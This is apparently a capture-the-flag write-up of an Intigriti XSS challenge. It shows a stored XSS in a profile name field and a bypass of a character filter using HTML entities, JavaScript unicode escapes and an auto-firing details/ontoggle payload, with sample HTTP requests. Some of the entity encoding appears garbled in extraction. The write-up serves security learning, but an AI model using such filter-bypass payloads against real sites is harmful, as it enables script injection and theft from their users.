Intigriti May 2026 Challenge — XSS via Stored Payload + SCA Shield Bypass
Author: kulindukody
Challenge: challenge-0526.intigriti.io
Category: XSS / Filter Bypass
Severity: medium
Type: Stored XSS
Overview
The challenge application is a Single Page Application (SPA) built on Express.js. During recon I identified a stored XSS vulnerability in the name field of the /api/profile endpoint. The server implements a WAF-like filter called "SCA Shield" that blocks common XSS characters — but the filter can be completely bypassed using HTML entity encoding combined with JavaScript unicode escapes, leading to stored XSS executing in the context of challenge-0526.intigriti.io.
Reconnaissance
Step 1 — Finding the Profile Update Endpoint
http
POST /api/profile HTTP/1.1
Host: challenge-0526.intigriti.io
Cookie: session=507
Content-Type: application/json{"name": "<img src=x onerror=alert(1)>"}Response:
http
HTTP/1.1 403 Forbidden{
"error": "SCA Shield: Malicious characters detected! Quotes, parenthesis, dots, commas, and semicolons are strictly forbidden."
}The filter revealed itself — and more importantly, told me exactly what it blocks:
"'().,;
This is a critical mistake in filter design. Never tell an attacker what you’re filtering.
Discovering the Sink
The application JS (served as a static file) revealed the vulnerable rendering code:
javascript
async function checkAuth() {
try {
let res = await fetch('/api/me');
if (res.ok) {
let data = await res.json();
currentUser = data;
return true;
}
} catch (e) {}
currentUser = null;
return false;
}// Render Navigation
function renderNav() {
if (currentUser) {
navAuth.innerHTML = `
<a href="#profile" class="btn">Profile [${currentUser.username}]</a>
<button onclick="logout()" class="btn">Logout</button>
`;And separately, the note/testimonial page rendered currentUser.name via innerHTML.
The sink is innerHTML — this is the critical mistake. When user-controlled data is assigned to innerHTML, the browser:
- Parses the string as HTML
- Decodes HTML entities (
(→() - Executes event handlers as JavaScript
This means any sanitization that encodes characters as HTML entities is completely defeated by the rendering layer itself.
The SCA Shield Filter
The filter blocks these literal characters in the POST body:
Blocked Purpose ( ) Prevent function calls . Prevent property access , Prevent argument separation ; Prevent statement chaining " ' Prevent string literals
This sounds comprehensive — but it only operates on the raw input string. It has no awareness of encoding.
Bypass Technique
HTML Entity Encoding
HTML entities are an alternative representation of characters that the browser decodes during HTML parsing:
Entity Character ( ( ) ) . .
Since the filter checks raw input and innerHTML decodes entities on render — we can sneak blocked characters through as entities.
JavaScript Unicode Escapes
JS unicode escapes (\uXXXX) are valid inside JavaScript strings and event handler attributes:
Escape Character \u0061 a \u0064 d
These aren’t needed to bypass the filter (letters aren’t blocked) but they were part of the payload that was already stored. They work fine.
Why <details ontoggle> Is Perfect
The <details> HTML element fires an ontoggle event when it opens or closes. With the open attribute set, it triggers automatically on render — zero user interaction required.
html
<details open ontoggle=PAYLOAD>X</details>When inserted via innerHTML, the browser:
- Parses the HTML
- Sees
<details open>— element is open - Fires
ontoggleimmediately - Executes the JS payload
Full Exploitation Chain
Step 1 — Craft the payload
<details open ontoggle=\u0061lert(\u0064ocument.\u0064omain)>X</details>After HTML entity decoding by innerHTML:
<details open ontoggle=\u0061lert(\u0064ocument.\u0064omain)>X</details>After JS unicode evaluation in ontoggle:
javascript
alert(document.domain)Step 2 — Send the profile update request
http
POST /api/profile HTTP/1.1
Host: challenge-0526.intigriti.io
Cookie: session=YOUR_SESSION
Content-Type: application/json{"name":"<details open ontoggle=\u0061lert(\u0064ocument.\u0064omain)>X</details>"}Response: 200 OK — payload stored.
Payload Breakdown
<details open ontoggle=\u0061lert(\u0064ocument.\u0064omain)>X</details>Part Raw Decoded Role \u0061 JS unicode a Letter a in alert \u0064 JS unicode d Letter d in document/domain ( HTML entity ( Open paren — bypasses SCA Shield ) HTML entity ) Close paren — bypasses SCA Shield . HTML entity . Dot — bypasses SCA Shield <details open> HTML auto-open Triggers ontoggle on render
Final decoded execution: alert(document.domain) — zero interaction.
